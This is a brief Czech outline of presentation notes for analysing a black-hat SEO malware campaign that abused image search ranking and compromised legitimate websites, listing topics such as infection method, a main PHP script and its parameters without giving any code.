  2. Zminit: uspesnyatak (a proc), a jak “funguje” (obecne)
  3. SEO – obrazkyjsou “dobrerankovane”
  4. Jak to funguje a nakoho je to zamerenyZezacatku “nerozlisovali” OS ani browsers
  5. Black SEO
  6. Trust phenomenon
  7. Rozdilnechovani -&gt; predatslovo
  8. Predrozebiranimchovanizminit JAK se nakazily “legitimate website”+ pridat “pribeh”
  9. Main PHP script+ pribeh – povidani+funkeskriptujen “vyjmenovat” (nerozebirat)
  10. Jake parametry a k cemujimslouzi